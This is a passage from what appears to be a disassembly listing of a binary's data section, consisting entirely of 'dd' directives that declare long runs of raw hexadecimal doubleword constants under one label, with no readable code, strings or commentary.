		dd 149B1117h, 0B7DE8464h, 0C3304300h, 6400E1B3h, 92F1D23Ah
		dd 606BED6Ah, 0F68E20AEh, 8F0687D7h, 852BACBAh,	0CF6802F8h
		dd 0C288F8E5h, 0BDCBC055h, 0EBE600DEh, 0FFBE6F81h, 0FA4A036Bh
		dd 0A30181FCh, 0E5EE8D9Bh, 0E1D5FDD9h, 21B3E41Dh, 0D0222B00h
		dd 0AC695ACEh, 0F69500ABh, 0CA3ABB04h, 0B51FEE27h, 0AF00517Eh
		dd 454A197Ah, 6513016Ah, 0FCE4EA17h, 0AE6FF416h, 19965F01h
		dd 4F679C15h, 293ECCh, 6C569E3Ch, 5E866F2h, 0B77A1800h
		dd 8061CDE7h, 0A6FF3CC0h, 0C8AF7400h, 9EC3494h,	191F9003h
		dd 0F88797ADh, 34D4192h, 89B3C83Dh, 58C86535h, 0DD1FE89Fh
		dd 87525E16h, 3EA26807h, 0D530A950h, 68070F26h,	0A30C9E63h
		dd 0B5070148h, 7E6AF91Bh, 0AC6E36B0h, 219461BFh, 0F808EAFBh
		dd 0F200C9B2h, 3A063399h, 181EA811h, 0DA6FC37Ah, 4B01DAE7h
		dd 6D4155ABh, 1EF9F39h,	103B1810h, 3059F8CDh, 7E60FB37h
		dd 144D9319h, 45400C46h, 7BA09873h, 5DEAD2F2h, 290179FAh
		dd 85F9D004h, 12D8BAFCh, 0B2B30196h, 8E1909DBh,	0F152E84Eh
		dd 9571C01Ch, 0A2F6DF40h, 396484h, 0AB3EF84Fh, 0C0DD2022h
		dd 56C21E07h, 92B05FC3h, 3F7F315h, 49E7F18h, 36B8DFF5h
		dd 1D0F76DBh, 8166DAA4h, 7365C072h, 0FC2D5894h,	10836A3Bh
		dd 0EEC7E6DCh, 7DE1DBE8h, 0AEDF8000h, 0E9A9190Fh, 0F5B70030h
		dd 0C04097Ch, 0DB03C11Ch, 240DA59Fh, 1508186Ah,	0D86120A9h
		dd 33961C00h, 0A448DB11h, 0C0CD01F5h, 0D865C45h, 0BB38EC71h
		dd 0C603A27Ch, 853D8B09h, 9C280E08h, 0E2C0E1A8h, 0D9A96764h
		dd 0DD16CC06h, 3200A76h, 92E1C0A7h, 2EE8A574h, 251C14A3h
		dd 6030D734h, 6670C432h, 61A488DBh, 0AE03D546h,	0B4E206E1h
		dd 74305840h, 0C6C588h,	660C91E1h, 655A79B9h, 84FE0F28h
		dd 0AB30D518h, 0E4F0E259h, 60E697h, 819F4F02h, 0B2C6D64Ch
		dd 914AC001h, 7EBAD83h,	0EE169181h, 0E4B7B475h,	740F6796h
		dd 806604FCh, 884B02B9h, 0A6A203BAh, 47C75515h,	6EE39BC1h
		dd 3AA0A6E0h, 7E7B287Ch, 0DAD10066h, 0D8BEEBAFh, 92002B22h
		dd 0E1BA7BC2h, 0E82176F0h, 0E3600062h, 59F3BFECh, 0B4001F4Dh
		dd 7E01D0C1h, 76F7353h,	7023AE7Bh, 7D5B1034h, 403470Eh
		dd 368A55FBh, 4E80FD13h, 0E7D158h, 0D046E3EDh, 9503C8D4h
		dd 0A87B2B07h, 4B60EAA0h, 0C02DFBA7h, 881BF5E4h, 6B0DBD1h
		dd 0A10458h, 81436C53h,	0EE4F3342h, 0A5240005h,	0A7DDA471h
		dd 0E500BC68h, 0AB72C369h, 0E8D93879h, 0BFFD0063h, 591DEC12h
		dd 0D6009019h, 39B037EDh, 9852A1h, 6CE1D205h, 24364226h
		dd 0FA6A8A00h, 0A291763Ch, 0E57A17h, 0EF3FFF72h, 19263B41h
		dd 0AD138400h, 6CB37716h, 4A8D036Ah, 0B29B5A6Eh, 0A1038h
		dd 0EEF965BBh, 0F4C92F61h, 95F80010h, 589AFB2Eh, 0F300AF99h
		dd 6753494Fh, 708FF3Fh,	0BE5496CEh, 0C74345F8h,	0C67360F2h
		dd 860072D2h, 298E1E5Ch, 60E6A4h, 0DD346E61h, 0FA166456h
		dd 4DC05E1Fh, 88F03581h, 1330D20Fh, 0C25C074Ch,	0EBF26D03h
		dd 89977580h, 48000D45h, 0B8960554h, 9294BBh, 8F4E7227h
		dd 9BE4AD4h, 0BD16C106h, 2847FCh, 1D36F192h, 0E691F6B7h
		dd 23B55900h, 0A9FD1E2Ah, 1C870D2h, 37BF6B33h, 70542258h
		dd 6E07165Ah, 8A6DD363h, 476138F0h, 0C9CC013Eh,	45934E55h
		dd 0ED242070h, 1B3728C0h, 0FCDE3FE6h, 163802B5h, 81D66027h
		dd 0BA68BAE0h, 0F06B4400h, 0C86E2077h, 8D720359h, 0E32C669h
		dd 0E5BFC388h, 757D0F00h, 0E9D005AAh, 10D90256h, 55303216h
		dd 0E8171849h, 0E015EC8h, 31657D3Dh, 218F10CEh,	2E40EBBAh
		dd 29A7D10Dh, 0CAA2FB00h, 316F6CB4h, 5E4C007Ch,	320FA196h
		dd 5639448Dh, 630500F6h, 5C70D689h, 0EFF6F5h, 3D40818Eh
		dd 52699F90h, 37620200h, 438347F9h, 1D83B592h, 998038C5h
		dd 38C03EC9h, 0D7662A6Bh, 0A7160485h, 30A26h, 6FE5B8ABh
		dd 88290C1Ah, 0FB51458Eh, 8DF3590Fh, 34F56067h,	0ECB3C930h
		dd 4A85015Ch, 297D895Ah, 402CC2Ah, 0A8372C14h, 0D7F400F8h
		dd 0FC6EFEA5h, 162D00EAh, 247AF991h, 74071312h,	0EED8B707h
		dd 46E98800h, 38F57FB1h, 821EAE47h, 0CC070335h,	72F0F2F1h
		dd 28C7EF88h, 74D0B561h, 719BBBAh, 5C6AB953h, 0C07F2F48h
		dd 4787B2FDh, 460001A3h, 56127E42h, 79ADA560h, 3095E61Fh
		dd 5EA03EEAh, 0BC0F817Dh, 80E20765h, 9EB43076h,	36FB04EEh
		dd 90778456h, 0CCF1E480h, 5188C800h, 8DD7D87Ch,	0A7B50071h
		dd 1D4E7404h, 0FA005B6Ch, 598AE987h, 262DFD21h,	0BBE11Bh
		dd 0D5957842h, 2F006A70h, 0A33E346Ch, 308B66h, 1D489DF8h
		dd 0A745EEA9h, 156FB902h, 60CD187Dh, 13946006h,	4ECC8Ch
		dd 72BE7E44h, 48903DE8h, 80BB1D26h, 396CAF00h, 18238AF2h
		dd 21246AB4h, 4DE49AC5h, 0CDD67100h, 1FA20C6Eh,	0F6390099h
		dd 0AF44FD5Dh, 6B1F726Ah, 30802DEDh, 7138877Fh,	84400323h
		dd 488C1D79h, 80C884FCh, 16049C14h, 0FA965C00h,	5731987Ch
		dd 2BFE7Dh, 2364420Eh, 115DAF9Fh, 32C55906h, 0B85798h
		dd 4D3ED285h, 3D94F193h, 2A0F610Eh, 0E5C96038h,	0D04C71h
		dd 0BD6BDA2Ch, 0F6B60E1Bh, 8CFA4D00h, 3348C117h, 64F00AE8h
		dd 8BA0376Eh, 0A68066A7h, 2E2735B4h, 445F2826h,	0AD423001h
		dd 4C35C776h, 0E7C1D8h,	8F7E0A1Bh, 3B61AA91h, 0A8F6A418h
		dd 11DD20h, 67F050C2h, 4D0BB766h, 3C6C8A0Bh, 55707Fh, 6D93CF95h
		dd 7C619E50h, 7D3F6AF4h, 0F7148F8Ch, 0A4CEC1B5h, 2B61B6C6h
		dd 866BD8h, 1DD0D829h, 7DF8142Bh, 0CB64BE18h, 0E160B8h
		dd 0FA153185h, 0C124516Ah, 4019178h, 44D747C4h,	60E15AECh
		dd 1CD93C20h, 7169CB6Ch, 0D1599B20h, 6701C0D8h,	38C06E78h
		dd 5EE81A19h, 338100FBh, 0D74D7BC9h, 0B500C076h, 37F524A9h
		dd 50AAE152h, 0F0062C88h, 90176FB2h, 0A6E75918h, 7A675800h
		dd 0EAAB0588h, 34A5021Ah, 63BF41C8h, 0DB536080h, 0F5165F2Ah
		dd 7C007908h, 0FF48E31Dh, 7513003Ch, 97C98449h,	1A01A793h
		dd 7C576165h, 0DE600A81h, 5213013Ah, 9DFC24E9h,	1E4530BFh
		dd 0EEF8DC00h, 0A0F02C79h, 379A006Ah, 56D34FF5h, 0D700DA9Ch
		dd 0CC31230Dh, 1EE514h,	0B4865336h, 0BAE7613Ah,	0E2183F03h
		dd 0F0EBE484h, 1362A7h,	0C4E6248Bh, 0DBB23265h,	0D9C2AA00h
		dd 2186384Fh
		dd 8F1B2450h, 4C0F003Bh, 0AAD741A7h, 0DB1CC400h, 0D406C17Dh
		dd 55E10088h, 45DAFDE8h, 2800C25Bh, 8490C4E4h, 0F4142C15h
		dd 0D4580026h, 8209ED97h, 57004DB0h, 0DD3BC4C9h, 1555C650h
		dd 0BC339F65h, 8249BF00h, 67207017h, 0F0C09055h, 0ECE3EEA6h
		dd 2B052CCDh, 6DCF6C52h, 9D88B840h, 0C0D368ABh,	0CCDC5011h
		dd 1F0055B7h, 6C230E47h, 663837h, 2BFFAE21h, 123673B4h
		dd 61CF6F7Bh, 800360CDh, 79F2E657h, 293A063Dh, 205FBE25h
		dd 30063E3Fh, 2AF911Eh,	3ABA0069h, 6CBFC5A7h, 7228B9B8h
		dd 86F0647Ch, 5E3BE91Ch, 6A118F9Fh, 0E5986700h,	158028BFh
		dd 787ADF00h, 6F0E372h,	0C24B02C4h, 3D9C667Ch, 0E47F8891h
		dd 397C51F2h, 406922h, 0FB3278BEh, 2CE082BDh, 7F70D700h
		dd 0F8BB1E38h, 3A120020h, 561F3D85h, 0B9C0E8E5h, 0A5E1CD8Eh
		dd 0D47601DBh, 29B111D6h, 9EE0806Fh, 86E524F2h,	0A6FB0EFh
		dd 0B3121C59h, 0FDFF0010h, 8970B147h, 69C49D0Ah, 0A481B8D1h
		dd 2CFA7432h, 1C49FB20h, 0C0950663h, 91B89704h,	1D304FF2h
		dd 778381Ah, 0CBB4002Ch, 6C46ABDBh, 49C5A8D7h, 7C039765h
		dd 5EC955h, 6B238319h, 0AFB52B74h, 8087C13Bh, 0FA8E0C44h
		dd 0B0DA89C7h, 7BE7009Eh, 3557059Ah, 2435B65Bh,	8B014070h
		dd 9274B518h, 0C4C01ED9h, 8DD80041h, 0F593B389h, 0B50166FFh
		dd 162DB15h, 1DEC84C5h,	0B5558A6h, 0ECC1E814h, 0B6FC18C0h
		dd 5E3E3590h, 33885CF4h, 0E8F0A966h, 3B9610h, 0F450E754h
		dd 901B6A87h, 9D03B2E4h, 681F4174h, 8031005Dh, 0B7D18B6Bh
		dd 9F503684h, 4D1C16CAh, 9EC0ADABh, 5999630Dh, 0B67512F4h
		dd 0DF44404Eh, 0C803D068h, 0B5AE490Dh, 16D8195Ah, 0B2CD0E69h
		dd 0E534CB7Fh, 18B7C801h, 3084D40Eh, 14001C00h,	0A6465C98h
		dd 0C0353B69h, 59E9D388h, 850073C0h, 8720C477h,	6536D0h
		dd 5590EF33h, 66763AB5h, 6721B410h, 74681E0Ch, 3B1DB1C9h
		dd 8C00448Ah, 0FA6C40F6h, 18BA75E8h, 0A14DB547h, 1100D322h
		dd 771AFD27h, 4E206C2h,	4F574351h, 0B45090E9h, 460308AAh
		dd 54A00D25h, 8D19261Dh, 36050070h, 2C884DEDh, 66987B09h
		dd 0B7AC109Dh, 0E549247h, 94F8DA1Eh, 0C0E41ADh,	0D2036AD0h
		dd 97AA162Eh, 0B7539067h, 0ACED005Eh, 9DCB92DFh, 1C00BAC9h
		dd 27E723F9h, 19B325h, 144D8EF8h, 59220ED2h, 0B2F2F50Fh
		dd 811260BEh, 0DEFCF0h,	9FE0BA7Dh, 269CCF32h, 72CEB504h
		dd 68908854h, 1FB6717h,	15D38066h, 70B5C46Dh, 1900C259h
		dd 42B8D91Fh, 26EA9C2Fh, 1B6865B1h, 0B900AE73h,	97C3DED7h
		dd 0FF6673Ah, 0B5627645h, 70E159E0h, 2E3C35A7h,	46E000D9h
		dd 1FCD5EBEh, 9F3156Bh,	8003A026h, 28F17C34h, 73E18DA0h
		dd 3913241Eh, 809CB694h, 0A136175Dh, 786700F4h,	8ED001F0h
		dd 8412EDCCh, 18309FAFh, 95C868h, 5748D9A5h, 0D408C397h
		dd 0BEA87D00h, 0A9F58C3Eh, 88DB00B1h, 0FB46B5B3h, 8D4CE51Fh
		dd 0CC7D00C0h, 580D2499h, 0ABF065h, 0F0A4E98h, 0F9CBEC43h
		dd 0AF009EFEh, 0F1D677BEh, 466E414h, 0EC4FCF79h, 347B451Fh
		dd 8AA5FC40h, 0CFAFDC7h, 706F4E0Bh, 3538C019h, 1FEBBDAh
		dd 20564568h, 9FCC3786h, 0BE7860h, 0BBFCF9F7h, 0B4118B84h
		dd 57842A54h, 9A0EED71h, 2DAFD2h, 6BF9BBA1h, 0FCE901A7h
		dd 264C5DBDh, 126C22B7h, 8D06CC85h, 69E8E15Fh, 2C910E7Eh
		dd 0CE4FE55h, 0DEA08880h, 8690F400h, 0B6523556h, 0A849C050h
		dd 0F527D17Fh, 17C22300h, 7A4C7782h, 91F41C49h,	9BD046E7h
		dd 0B124593Fh, 0A504145Eh, 0A08C504Fh, 46E7147Eh, 0E6809420h
		dd 8846597h, 0B8C50400h, 6A12EC6Dh, 8E7700ADh, 0F5FA0998h
		dd 0E12A6BF3h, 0B000545Eh, 0E6EDDF8Ah, 4875B764h, 81DCF86Ch
		dd 48C7894Bh, 0A155C8BCh, 1D06600h, 0F965B02Dh,	0B67D3EF4h
		dd 1F11D961h, 4028EC48h, 0B1ECDF1Eh, 66C8B340h,	0C1567C8Bh
		dd 0F5CB6BD1h, 1510D873h, 1AE7AA1Ch, 0FD8579C0h, 0FBDFAD9h
		dd 6C2CCF6Fh, 0EB1820D6h, 4213CC73h, 0F8304CC8h, 0E803CA9Dh
		dd 46290251h, 7B94B505h, 0BE3B5C64h, 0B9CE0081h, 0FD16433Bh
		dd 0B1843CDBh, 0C6E7DD80h, 0EDE5A638h, 275885F2h, 0D41BC1DCh
		dd 22C8FF28h, 164900DAh, 0B30F9B52h, 5E04295Bh,	6457FE1Dh
		dd 4500FA5Ch, 0D5679150h, 7B1E77E3h, 9580E836h,	0E94E2919h
		dd 11CC3F75h, 309459AAh, 44D9D069h, 910027FEh, 6ACF07F5h
		dd 7B4C6E8Ch, 9848E9DBh, 8DF70185h, 0B5DD7C50h,	11E1C043h
		dd 0E5836908h, 3A9A02C3h, 0A7822FC2h, 30E09621h, 903A572h
		dd 0AB6BF066h, 65711777h, 802C24B3h, 0B7CA4774h, 96EF8104h
		dd 0C886887h, 92DB00C2h, 14597262h, 4383A05h, 0A2D1145Ch
		dd 23AE8020h, 18DA062Eh, 0E152B613h, 92009046h,	59F27964h
		dd 0C2ED60h, 0FAD110C3h, 788BE17h, 0C4D72524h, 0F55E041h
		dd 0F73C770h, 5256FBA8h, 116C4512h, 0EE1400ECh,	0E0135DF4h
		dd 0AE2EB83Dh, 5711B8BAh, 4EB9E91Fh, 0B8409B40h, 0EEF65F33h
		dd 68F52901h, 0EDE8B2BEh, 295149E0h, 1E05352h, 825D39A3h
		dd 40CD307Fh, 1A142400h, 998AA00Fh, 0BE1600F1h,	0BF3EC671h
		dd 11034D82h, 66AA0D85h, 0E8790232h, 2915C27Ch,	0FDDDCC80h
		dd 0B400308Fh, 615033ADh, 386EF76h, 9AC922B5h, 3907496Eh
		dd 3BB4BCFAh, 47819110h, 0DEB80276h, 58CD6BA8h,	5753C068h
		dd 0C611A9C0h, 0FC8F9394h, 0CEA53BD1h, 15361203h, 928891EFh
		dd 409BD66Ch, 20A6301h,	0FC32D525h, 10105725h, 0E7481E14h
		dd 9F6C09A1h, 5ED4879Ch, 3561B5A1h, 1BCE8DCh, 75F04097h
		dd 0F5BEF4EFh, 15498048h, 22C64B1Ah, 0A97062Ch,	59115650h
		dd 0B5215700h, 8CA32926h, 0F7E02FCh, 194EE5Ch, 0CD8E1440h
		dd 0F8B157E0h, 78731500h, 71244FDEh, 0B21129CFh, 473838F8h
		dd 4400B8A5h, 75EFF7CDh, 8B579939h, 1067DAEEh, 9F9B1F8h
		dd 8D0833DEh, 55CCD300h, 0CE00E2A4h, 23EF73B6h,	91F92238h
		dd 893B80DCh, 0ED51425Bh, 9892EB1Eh, 8D0F9AE8h,	41CD689Ch
		dd 66546C0Eh, 43D73184h, 0E9D8800Bh, 8E0096D1h,	0A5278BECh
		dd 12E8D4D0h, 0D1698A28h, 0CC929A4Ch, 1103B22Ah, 0A47E6B6Ch
		dd 0B389A8C7h, 579B89Fh, 0B4D21D14h, 0CC988124h, 24627Ch
		dd 85ADABC7h, 4100FCBh,	424651D6h, 0DC1C886Fh, 6CE38205h
		dd 94001386h, 927F31B0h, 16EE7105h, 581D67Bh, 825D73A4h
		dd 7C08CF1Ch, 10B8E409h, 7D8AE208h, 0CB5D0056h,	0C0F9272Eh
		dd 0A00085B3h, 5FA8E83h, 4BE99F5h, 1DFD0C49h, 900C4DEh
		dd 5448B744h, 1F1F5829h, 0A085B2A3h, 9082A76Ch,	3BDC4CD7h
		dd 75AA2DDEh, 36070390h, 5F67CA8Dh, 0B0F135E0h,	4E4138C0h
		dd 5856E005h, 52C0BC42h, 67DE96E7h, 14EB4B00h, 0A7D0B0E0h
		dd 45ED3C4Fh, 292C9800h, 4A3B9FBEh, 0CC2EDD00h,	8408C4B3h
		dd 56470083h, 0BB1E75EDh, 10B16EE7h, 0A9FA7B01h, 0BD85C71h
		dd 0F523003Bh, 5F4865A1h, 0B20C4258h, 60201373h, 0DC190496h
		dd 931B2856h, 16E8215Ch, 0B6306B78h, 0F3ACE94Bh, 0F6E9005Eh
		dd 0CB45C36Ah, 0DB168236h, 0DC24EB56h, 0D43F23C0h, 574014FCh
		dd 720E2852h, 0F09DEDADh, 51189EE0h, 3F55E107h,	25029D85h
		dd 4C5CECB1h, 3D0084CBh, 8805280Fh, 909A9D8Dh, 0CA8FBD0Bh
		dd 0C890907Bh, 88E900E5h, 78F5951Fh, 741FD6C6h,	9AC3EE10h
		dd 0E9B9C4ECh, 0AC62B424h, 0BFE4FD7Dh, 5D2A0086h, 6BF5B8E7h
		dd 971EA226h, 64E4191Dh
dword_543858	dd 16C1AE00h, 12B7B976h, 0C820A762h, 4600E278h,	805914B2h
		dd 42E79A0h, 996FFC6Ah,	0FA01BF1Bh, 0A01A663h, 0A1037032h
		dd 0BC2609EBh, 68055D0h, 143F4B00h, 4417278Dh, 6ABD0ACAh
		dd 2A8B278h, 6F1EED35h,	32005452h, 96297297h, 446882h
		dd 16348512h, 0FD7D46E0h, 1F6AC11Ch, 0B5F884C0h, 243F0DDBh
		dd 80304FB7h, 0FE739A2Ah, 0EF0F504Ah, 80AD7F11h, 5C909F30h
		dd 57CB0E1h, 9D37C21h, 0A6CC886Fh, 0B1291E02h, 763662CCh
		dd 26F402BEh, 5CE468E8h, 214C1124h, 0BBFD8738h,	24B1235h
		dd 0C49D66B8h, 0A5F88020h, 1046003Ch, 0BC862189h, 0D75211C0h
		dd 0BB9900C8h, 39FC55A6h, 14B90497h, 89D81171h,	0C880DAC0h
		dd 3F04C1CFh, 7D07E500h, 4DE0F1D4h, 1ECC175Ch, 71140273h
		dd 1C40C5D2h, 0E1FC3CB5h, 0D1BB9D00h, 0CAB002C4h, 392A0798h
		dd 3016DAE6h, 6EB9D35Ch, 0D81C8CB9h, 0FD0041ACh, 4F167149h
		dd 0C74D1357h, 807C306Bh, 0DE909E35h, 5AF03000h, 0BB7905FDh
		dd 2F4E001Fh, 68DADE11h, 6E4C84Dh, 4C547526h, 0B9130B40h
		dd 33AE0253h, 43FF2A82h, 2CB54055h, 0FB22034Bh,	0C9DAC3BBh
		dd 0C73DC802h, 445365D7h, 4EAE00A0h, 0EAA1F1DFh, 22E46669h
		dd 0F486F492h, 96EB4Ch,	0A0AF02A9h, 0F8F799h, 8D3D3C21h
		dd 5ABA6BC1h, 5EBDFB00h, 8CBEE9D5h, 0CF9B24E8h,	0E3990088h
		dd 58A3DEBFh, 0DD1F78A8h, 0F223A10Eh, 7AB340CBh, 7A9432CEh
		dd 51B7307Fh, 0BAF4B879h, 8883101h, 4BFC3BC9h, 0C04DCC60h
		dd 86B7E121h, 0C41C4A22h, 2C063127h, 0C78CE9Eh,	0CFDE7FA5h
		dd 1FF8071Ah, 5517EB12h, 6A40FC90h, 781800D1h, 2EACB2A0h
		dd 0C4263CE2h, 0BA1DA813h, 74D01025h, 0A2AB00B2h, 5F15B8F9h
		dd 70BE4F7h, 86891Ah, 11CC7A44h, 17349BBFh, 0B91008CDh
		dd 9C655F05h, 7500E0A2h, 0C3BED9C4h, 27037288h,	0C884EFACh
		dd 0E417F05Eh, 94A95468h, 97A70A81h, 25FC10E5h,	84513090h
		dd 80B4D038h, 2FF72B23h, 17DE744Ch, 4E9C826h, 0E0636670h
		dd 6A4A7B20h, 0CF45044h, 685098A2h, 0A46C2515h,	0A2655CA2h
		dd 1476F0DAh, 0B84EE12Ch, 0A4043C13h, 1F7024h, 3F32B73Bh
		dd 6CB17BCCh, 40275E0Eh, 0C53D5AA3h, 0AFBB0BB3h, 48184C3Ah
		dd 0B2793189h, 0FB1C561Fh, 23535805h, 4328C840h, 0EA2F39E9h
		dd 7B1D0274h, 0F04B6F90h, 3B984760h, 87056107h,	9D816C29h
		dd 2062B52Ah, 0E831Fh, 0DDEE8D61h, 74099EDFh, 80573326h
		dd 99A5E178h, 0DC1D0BE6h, 106490D1h, 24814409h,	570890BDh
		dd 91E76250h, 0F0E355ECh, 9431ECEFh, 2000AEF2h,	0B2EAE6CFh
		dd 82375Bh, 448F70E7h, 0A4E0578Dh, 0AB6C2014h, 751880E0h
		dd 0BFD371h, 0B1E0DC52h, 9050C568h, 880268B8h, 0FFFB1476h
		dd 6A3460C1h, 1DCE2CAAh, 1E5002BCh, 0A4E46563h,	0C8B63424h
		dd 0FDF5D40h, 40D50152h, 0D593305h, 2DAEC4A7h, 65C233Dh
		dd 0A446ECEFh, 7FC71F58h, 0DFBF40BEh, 5620F13Ah, 0E91AEE36h
		dd 1B820078h, 0F268BC0Eh, 57E021DDh, 2F0C0384h,	0FA2BDFD2h
		dd 8AD183F8h, 8296313Bh, 9BC33303h, 0A378E02Dh,	4BAF7F0Fh
		dd 1E2C40B4h, 0E6CB129Dh, 791DDB7Ch, 911201AEh,	589084D8h
		dd 6426C0A7h, 0E4605B0h, 510880E4h, 0AD12CBA6h,	8835A82Ah
		dd 0C93DA207h, 960D9580h, 0B41448D6h, 6B7C440Ch, 0AE799759h
		dd 39245601h, 0B5BF10F8h, 0B8F72CCh, 513BEE6h, 0A4AEA00Bh
		dd 0AB2714A0h, 589A4412h, 1A9A7500h, 427FBDFEh,	72F1282h
		dd 6354200Ah, 0D507038Ah, 532D3EDh, 9FB0CFF7h, 126FB140h
		dd 20B512CCh, 734F4394h, 7EEC9800h, 1BA5DBE5h, 2FBE0314h
		dd 88F43685h, 0B4404AB2h, 5707713h, 6C3DFB2Ch, 9BD53E00h
		dd 0AB42C01h, 2FA2689Eh, 0FC803E98h, 267880BDh,	0EE0090B8h
		dd 1787BE09h, 125A62B0h, 20B7EB43h, 9008218Ch, 1AE1CD00h
		dd 8240486Bh, 565C175Ah, 87AC30F4h, 2D7AC5E4h, 5954FF7Dh
		dd 0D17DDAFCh, 0D98DA300h, 371DF3B6h, 5CC1664h,	7D02EBB8h
		dd 44EE43CAh, 30C03E58h, 63D1E102h, 2C40D808h, 902BB92h
		dd 713F9E5h, 291440FBh,	1FF099B5h, 0AD6780F2h, 0E2175FE3h
		dd 7C23E804h, 0CD006049h, 0A93B27CAh, 0BD9A3Ch,	9C635EB2h
		dd 96F656DCh, 7C1AA59Ch, 0C075BC42h, 0EA66F6F7h, 0E4CF0EC1h
		dd 9DA079B7h, 0E0ED507Fh, 0EAA6A700h, 0F5E30448h, 1F13785Dh
		dd 1D6610h, 2E029E57h, 0AB05B4CFh, 1E16194Ch, 0B7802C87h
		dd 916F408Eh, 20AB0034h, 5167B53Dh, 0AD577400h,	9C9846C1h
		dd 3CEC98BBh, 7C98F337h, 0F581316Ch, 1381900h, 5E0BF61Ch
		dd 0C1B600FEh, 2589A231h, 8816F805h, 28100D1Eh,	13751FA0h
		dd 725780F2h, 526B0BECh, 70012C97h, 201C5D48h, 0EF3AB818h
		dd 31E80122h, 19BB630Eh, 9A80F83Ch, 5BC689ECh, 804298C0h
		dd 40B6151Ah, 0EA903E56h, 0B36D500h, 68662BF2h,	0F1630093h
		dd 1D157546h, 14002811h, 2B88FDDCh, 0B01B1871h,	0A66C9608h
		dd 0EF7E81BCh, 0C0BCD620h, 0E60BD185h, 907BD0D5h, 225BDD8h
		dd 0D2702607h, 285A7C54h, 0B0C9D807h, 0B6E35E33h, 0AFDC9188h
		dd 7C50C8h, 131A3A0Ch, 6F20E02Ch, 691D20B9h, 0A886FCC3h
		dd 89E8888Bh, 1074091Dh, 0F0014AD7h, 0F895B427h, 69E05C49h
		dd 0F80080B1h, 6530C124h, 598900D5h, 13A4D784h,	854B9E1Ch
		dd 258FB420h, 0D2FA009Fh, 0EBA94043h, 0CE726C06h, 6DED21C0h
		dd 1256DFDBh, 91A46BADh, 2016CE5Ch, 1371CFE4h, 2E3DA21Dh
		dd 88289844h, 0EDB63480h, 0E55616E4h, 8948D033h, 0FB0027E9h
		dd 1E74F1C7h, 0F4719521h, 206800BFh, 0C20F4AF7h, 0D2735C9Dh
		dd 80B06E4Ch, 5ABFB8Eh,	665B07D1h, 4F483B1Bh, 0A7853E68h
		dd 0FCC099CBh, 5DA8A5Dh, 253DD216h, 6938A4B2h, 7700AC99h
		dd 5795BCEFh, 41A4BE6Ch, 0C043902Bh, 714C83D0h,	93BAC06Ch
		dd 2C9DDCEh, 5494B388h,	3C664D75h, 0EE8B0900h, 0B23542F2h
		dd 1F660078h, 251A6933h, 85F2E512h, 5B587600h, 77BAFA68h
		dd 406F5E3Dh, 0EA3AE158h, 0A1EA97Dh, 0A27B75h, 0CE3315FBh
		dd 5206B047h, 67E68900h, 584EA3C2h, 6870298Dh, 0E4F920E0h
		dd 14FA05BFh, 0C53D8178h, 2104F559h, 317AEC4Dh,	2A752B00h
		dd 0AB2FAA74h, 4F35006Ch, 7D11BB23h, 80F967DBh,	0F7624E51h
		dd 7ECE9FFh, 0AE42159h,	13C200A6h, 3091C86Ch, 104BCB02h
		dd 0A0C6D4h, 12E76932h,	81AE052Fh, 87CAA200h, 9673241Bh
		dd 0E86A003Eh, 0D77AB0E0h, 261E5A2Dh, 247E9814h, 0FF605C05h
		dd 2732ACh, 0EDE2AE74h,	0E1A81B20h, 0CA24F9EEh,	853EC0E4h
		dd 6D7CD6F7h, 0B2699847h, 47170470h, 984B3932h,	680058B8h
		dd 1DB6259Ch, 0A203CE9Dh, 0CDEF4940h, 14DA81E4h, 12315420h
		dd 0B2E55533h, 66213Ch,	0CA3CD21Fh, 211304BAh, 0AC0B728Fh
		dd 88C89B75h, 8168D6h, 1D2C668Ch, 468416C0h, 4B9BC907h
		dd 2CCACF55h, 803F9708h, 0DEF58DB1h, 86019D14h,	7A0FC7F3h
		dd 0CC603AA6h, 18467429h, 109579D0h, 0D700B475h, 0F26EAE20h
		dd 0D46F7C58h, 0E5031549h, 5CBDAA44h, 0FC68739Fh, 9A519CD0h
		dd 121D4C1Fh, 3DE244AEh, 0FC727Ch, 9C748AC4h, 8DDE4CBDh
		dd 0B07B4400h, 399B1781h, 0EABC0094h, 5B9E667Ch, 5300193Fh
		dd 0D09D88F9h, 607BA4CBh, 5B3C4955h, 41022EB1h,	6BAA23C4h
		dd 61C85CABh, 6246FD87h, 0D60803B8h, 0D04C2A5Ah, 0A4C8F4h
		dd 0B2EC195h, 73E7745Dh, 662C167Dh, 0B7444091h,	1C0C8h
		dd 64C377FDh, 76919F9Bh
		dd 9C7C2724h, 0E8D94943h, 2AF569h, 193DCFC5h, 8F1E7150h
		dd 0CCE4A71Eh, 24F2AA12h, 0A0FB9A18h, 8609EF80h, 0EB697040h
		dd 0E065B050h, 257C0F15h, 0DC177B4h, 0DB04C6DAh, 0C8BFD8D8h
		dd 0BE39D7ECh, 54205E11h, 606C8110h, 436011E1h,	0ECB9A647h
		dd 8831AC81h, 2DC9B003h, 7980A878h, 69A41AA9h, 0F95F3804h
		dd 28B21724h, 77A77F0Ch, 4C4EC702h, 0B0EF5820h,	68C9005Ch
		dd 57D382BFh, 0A30114A6h, 0D770E465h, 2A703556h, 6F7C90h
		dd 51D845E5h, 473DB9E2h, 0FCD76C24h, 0A7ECCE41h, 2D1FC470h
		dd 9C002D25h, 9CADA1BEh, 3C86EE03h, 1E5F68B2h, 0C91D6C31h
		dd 7300092Bh, 0DB91CA63h, 6AD15A02h, 60BE2FD3h,	39F010E4h
		dd 4C7A5028h, 0AE00008Ah, 3978FD47h, 1CE674B5h,	0CC01F03h
		dd 0E9DB13EBh, 0E03C9A7Ch, 0A76CCD05h, 6CB23Fh,	85097EB5h
		dd 1E0FAF19h, 0CA4A9Eh,	2C0C816h, 8097E3B3h, 3CF45CE8h
		dd 69BE0347h, 2D4A39B8h, 29B0B3B0h, 0E14F258h, 80D1359Fh
		dd 84F5EA0h, 75EF0CE4h,	86080568h, 7BBEBF13h, 0CDA66490h
		dd 521A17FEh, 4F0C0067h, 739DCFE7h, 139FCC01h, 729A7FBEh
		dd 2EEF0D0h, 0B9B26F99h, 4501DDFh, 0D9A9E501h, 0F356F141h
		dd 0A861B079h, 30BEF4FAh, 0B7886FACh, 71B2041Eh, 85551B9Ch
		dd 25F4B495h, 807D39C0h, 701E8FBh, 966C50F7h, 49F341B8h
		dd 0E8F5D5A5h, 0BF2C9F13h, 0D20BCCD9h, 408800F1h, 953BCFB4h
		dd 0DD50BC82h, 0EC018C52h, 0FD10D21Eh, 0F43086BBh, 849A01B8h
		dd 15761A2Dh, 16C726Fh,	0FDC791F5h, 0D03968B7h,	113FF000h
		dd 965B8CB6h, 0D1D14896h, 0C09D6868h, 200C93B1h, 2101AA17h
